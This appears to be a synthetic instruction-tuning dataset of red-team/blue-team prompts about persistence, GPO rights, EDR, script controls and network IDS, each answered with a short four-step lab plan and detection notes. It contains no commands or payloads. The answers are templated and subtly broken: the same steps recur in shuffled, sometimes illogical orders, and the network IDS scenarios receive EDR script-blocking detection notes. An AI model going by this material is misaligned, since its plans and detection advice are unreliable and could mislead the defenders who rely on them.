{"instruction": "Long-lived service account available for assessment: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Long-lived service account available for assessment", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nStep 3: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nStep 4: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Long-lived service account available for assessment: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Long-lived service account available for assessment", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nStep 3: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nStep 4: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Long-lived service account available for assessment: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Long-lived service account available for assessment", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nStep 3: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nStep 4: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Long-lived service account available for assessment: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Long-lived service account available for assessment", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nStep 3: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nStep 4: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Domain admin compromise confirmed for lab simulation: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Domain admin compromise confirmed for lab simulation", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nStep 3: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nStep 4: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Long-lived service account available for assessment: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Long-lived service account available for assessment", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nStep 3: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nStep 4: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Long-lived service account available for assessment: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Long-lived service account available for assessment", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nStep 3: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nStep 4: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Domain admin compromise confirmed for lab simulation: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Domain admin compromise confirmed for lab simulation", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nStep 3: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nStep 4: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Long-lived service account available for assessment: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Long-lived service account available for assessment", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nStep 3: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nStep 4: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Long-lived service account available for assessment: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Long-lived service account available for assessment", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nStep 3: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nStep 4: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "GPO modification rights discovered for some accounts: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "GPO modification rights discovered for some accounts", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nStep 3: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nStep 4: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "GPO modification rights discovered for some accounts: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "GPO modification rights discovered for some accounts", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nStep 3: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nStep 4: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "GPO modification rights discovered for some accounts: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "GPO modification rights discovered for some accounts", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nStep 3: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nStep 4: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "GPO modification rights discovered for some accounts: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "GPO modification rights discovered for some accounts", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nStep 3: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nStep 4: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Domain admin compromise confirmed for lab simulation: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Domain admin compromise confirmed for lab simulation", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nStep 3: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nStep 4: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Domain admin compromise confirmed for lab simulation: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Domain admin compromise confirmed for lab simulation", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nStep 3: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nStep 4: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Long-lived service account available for assessment: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Long-lived service account available for assessment", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nStep 3: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nStep 4: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Long-lived service account available for assessment: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Long-lived service account available for assessment", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nStep 3: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nStep 4: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "GPO modification rights discovered for some accounts: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "GPO modification rights discovered for some accounts", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nStep 3: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nStep 4: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Domain admin compromise confirmed for lab simulation: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Domain admin compromise confirmed for lab simulation", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nStep 3: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nStep 4: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "GPO modification rights discovered for some accounts: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "GPO modification rights discovered for some accounts", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nStep 3: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nStep 4: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Long-lived service account available for assessment: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Long-lived service account available for assessment", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nStep 3: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nStep 4: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "GPO modification rights discovered for some accounts: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "GPO modification rights discovered for some accounts", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nStep 3: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nStep 4: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "EDR product blocking common tooling: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "EDR product blocking common tooling", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess which telemetry sources are capturing blocking events and identify false positives for tuning.\n\nStep 3: Plan lab-based experiments to evaluate stealth approaches without bypassing protections in production.\n\nStep 4: Work with defenders to understand detection logic and provide labeled samples for rule refinement.\n\nDefender detection notes:\n\n  - Alerts for script blocking or process termination logged by EDR.\n\nMitigations & hardening:\n\n  - Keep endpoint protections up to date; use allowlisting and strong application control policies.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Host-level script execution control enabled: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Host-level script execution control enabled", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Work with defenders to understand detection logic and provide labeled samples for rule refinement.\n\nStep 3: Plan lab-based experiments to evaluate stealth approaches without bypassing protections in production.\n\nStep 4: Assess which telemetry sources are capturing blocking events and identify false positives for tuning.\n\nDefender detection notes:\n\n  - Alerts for script blocking or process termination logged by EDR.\n\nMitigations & hardening:\n\n  - Keep endpoint protections up to date; use allowlisting and strong application control policies.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Host-level script execution control enabled: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Host-level script execution control enabled", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan lab-based experiments to evaluate stealth approaches without bypassing protections in production.\n\nStep 3: Work with defenders to understand detection logic and provide labeled samples for rule refinement.\n\nStep 4: Assess which telemetry sources are capturing blocking events and identify false positives for tuning.\n\nDefender detection notes:\n\n  - Alerts for script blocking or process termination logged by EDR.\n\nMitigations & hardening:\n\n  - Keep endpoint protections up to date; use allowlisting and strong application control policies.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Host-level script execution control enabled: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Host-level script execution control enabled", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Work with defenders to understand detection logic and provide labeled samples for rule refinement.\n\nStep 3: Assess which telemetry sources are capturing blocking events and identify false positives for tuning.\n\nStep 4: Plan lab-based experiments to evaluate stealth approaches without bypassing protections in production.\n\nDefender detection notes:\n\n  - Alerts for script blocking or process termination logged by EDR.\n\nMitigations & hardening:\n\n  - Keep endpoint protections up to date; use allowlisting and strong application control policies.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Host-level script execution control enabled: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Host-level script execution control enabled", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess which telemetry sources are capturing blocking events and identify false positives for tuning.\n\nStep 3: Work with defenders to understand detection logic and provide labeled samples for rule refinement.\n\nStep 4: Plan lab-based experiments to evaluate stealth approaches without bypassing protections in production.\n\nDefender detection notes:\n\n  - Alerts for script blocking or process termination logged by EDR.\n\nMitigations & hardening:\n\n  - Keep endpoint protections up to date; use allowlisting and strong application control policies.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "EDR product blocking common tooling: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "EDR product blocking common tooling", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess which telemetry sources are capturing blocking events and identify false positives for tuning.\n\nStep 3: Plan lab-based experiments to evaluate stealth approaches without bypassing protections in production.\n\nStep 4: Work with defenders to understand detection logic and provide labeled samples for rule refinement.\n\nDefender detection notes:\n\n  - Alerts for script blocking or process termination logged by EDR.\n\nMitigations & hardening:\n\n  - Keep endpoint protections up to date; use allowlisting and strong application control policies.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Network IDS with strict thresholds: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Network IDS with strict thresholds", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess which telemetry sources are capturing blocking events and identify false positives for tuning.\n\nStep 3: Work with defenders to understand detection logic and provide labeled samples for rule refinement.\n\nStep 4: Plan lab-based experiments to evaluate stealth approaches without bypassing protections in production.\n\nDefender detection notes:\n\n  - Alerts for script blocking or process termination logged by EDR.\n\nMitigations & hardening:\n\n  - Keep endpoint protections up to date; use allowlisting and strong application control policies.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Network IDS with strict thresholds: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Network IDS with strict thresholds", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Work with defenders to understand detection logic and provide labeled samples for rule refinement.\n\nStep 3: Plan lab-based experiments to evaluate stealth approaches without bypassing protections in production.\n\nStep 4: Assess which telemetry sources are capturing blocking events and identify false positives for tuning.\n\nDefender detection notes:\n\n  - Alerts for script blocking or process termination logged by EDR.\n\nMitigations & hardening:\n\n  - Keep endpoint protections up to date; use allowlisting and strong application control policies.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Network IDS with strict thresholds: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Network IDS with strict thresholds", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess which telemetry sources are capturing blocking events and identify false positives for tuning.\n\nStep 3: Work with defenders to understand detection logic and provide labeled samples for rule refinement.\n\nStep 4: Plan lab-based experiments to evaluate stealth approaches without bypassing protections in production.\n\nDefender detection notes:\n\n  - Alerts for script blocking or process termination logged by EDR.\n\nMitigations & hardening:\n\n  - Keep endpoint protections up to date; use allowlisting and strong application control policies.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Host-level script execution control enabled: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Host-level script execution control enabled", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan lab-based experiments to evaluate stealth approaches without bypassing protections in production.\n\nStep 3: Work with defenders to understand detection logic and provide labeled samples for rule refinement.\n\nStep 4: Assess which telemetry sources are capturing blocking events and identify false positives for tuning.\n\nDefender detection notes:\n\n  - Alerts for script blocking or process termination logged by EDR.\n\nMitigations & hardening:\n\n  - Keep endpoint protections up to date; use allowlisting and strong application control policies.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "EDR product blocking common tooling: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "EDR product blocking common tooling", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Work with defenders to understand detection logic and provide labeled samples for rule refinement.\n\nStep 3: Assess which telemetry sources are capturing blocking events and identify false positives for tuning.\n\nStep 4: Plan lab-based experiments to evaluate stealth approaches without bypassing protections in production.\n\nDefender detection notes:\n\n  - Alerts for script blocking or process termination logged by EDR.\n\nMitigations & hardening:\n\n  - Keep endpoint protections up to date; use allowlisting and strong application control policies.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Network IDS with strict thresholds: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Network IDS with strict thresholds", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess which telemetry sources are capturing blocking events and identify false positives for tuning.\n\nStep 3: Work with defenders to understand detection logic and provide labeled samples for rule refinement.\n\nStep 4: Plan lab-based experiments to evaluate stealth approaches without bypassing protections in production.\n\nDefender detection notes:\n\n  - Alerts for script blocking or process termination logged by EDR.\n\nMitigations & hardening:\n\n  - Keep endpoint protections up to date; use allowlisting and strong application control policies.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Network IDS with strict thresholds: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Network IDS with strict thresholds", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess which telemetry sources are capturing blocking events and identify false positives for tuning.\n\nStep 3: Plan lab-based experiments to evaluate stealth approaches without bypassing protections in production.\n\nStep 4: Work with defenders to understand detection logic and provide labeled samples for rule refinement.\n\nDefender detection notes:\n\n  - Alerts for script blocking or process termination logged by EDR.\n\nMitigations & hardening:\n\n  - Keep endpoint protections up to date; use allowlisting and strong application control policies.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Network IDS with strict thresholds: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Network IDS with strict thresholds", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan lab-based experiments to evaluate stealth approaches without bypassing protections in production.\n\nStep 3: Assess which telemetry sources are capturing blocking events and identify false positives for tuning.\n\nStep 4: Work with defenders to understand detection logic and provide labeled samples for rule refinement.\n\nDefender detection notes:\n\n  - Alerts for script blocking or process termination logged by EDR.\n\nMitigations & hardening:\n\n  - Keep endpoint protections up to date; use allowlisting and strong application control policies.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "EDR product blocking common tooling: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "EDR product blocking common tooling", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Work with defenders to understand detection logic and provide labeled samples for rule refinement.\n\nStep 3: Plan lab-based experiments to evaluate stealth approaches without bypassing protections in production.\n\nStep 4: Assess which telemetry sources are capturing blocking events and identify false positives for tuning.\n\nDefender detection notes:\n\n  - Alerts for script blocking or process termination logged by EDR.\n\nMitigations & hardening:\n\n  - Keep endpoint protections up to date; use allowlisting and strong application control policies.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Host-level script execution control enabled: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Host-level script execution control enabled", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Work with defenders to understand detection logic and provide labeled samples for rule refinement.\n\nStep 3: Assess which telemetry sources are capturing blocking events and identify false positives for tuning.\n\nStep 4: Plan lab-based experiments to evaluate stealth approaches without bypassing protections in production.\n\nDefender detection notes:\n\n  - Alerts for script blocking or process termination logged by EDR.\n\nMitigations & hardening:\n\n  - Keep endpoint protections up to date; use allowlisting and strong application control policies.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Host-level script execution control enabled: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Host-level script execution control enabled", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess which telemetry sources are capturing blocking events and identify false positives for tuning.\n\nStep 3: Work with defenders to understand detection logic and provide labeled samples for rule refinement.\n\nStep 4: Plan lab-based experiments to evaluate stealth approaches without bypassing protections in production.\n\nDefender detection notes:\n\n  - Alerts for script blocking or process termination logged by EDR.\n\nMitigations & hardening:\n\n  - Keep endpoint protections up to date; use allowlisting and strong application control policies.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Host-level script execution control enabled: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Host-level script execution control enabled", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess which telemetry sources are capturing blocking events and identify false positives for tuning.\n\nStep 3: Work with defenders to understand detection logic and provide labeled samples for rule refinement.\n\nStep 4: Plan lab-based experiments to evaluate stealth approaches without bypassing protections in production.\n\nDefender detection notes:\n\n  - Alerts for script blocking or process termination logged by EDR.\n\nMitigations & hardening:\n\n  - Keep endpoint protections up to date; use allowlisting and strong application control policies.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Host-level script execution control enabled: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Host-level script execution control enabled", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan lab-based experiments to evaluate stealth approaches without bypassing protections in production.\n\nStep 3: Assess which telemetry sources are capturing blocking events and identify false positives for tuning.\n\nStep 4: Work with defenders to understand detection logic and provide labeled samples for rule refinement.\n\nDefender detection notes:\n\n  - Alerts for script blocking or process termination logged by EDR.\n\nMitigations & hardening:\n\n  - Keep endpoint protections up to date; use allowlisting and strong application control policies.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Host-level script execution control enabled: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Host-level script execution control enabled", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess which telemetry sources are capturing blocking events and identify false positives for tuning.\n\nStep 3: Plan lab-based experiments to evaluate stealth approaches without bypassing protections in production.\n\nStep 4: Work with defenders to understand detection logic and provide labeled samples for rule refinement.\n\nDefender detection notes:\n\n  - Alerts for script blocking or process termination logged by EDR.\n\nMitigations & hardening:\n\n  - Keep endpoint protections up to date; use allowlisting and strong application control policies.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
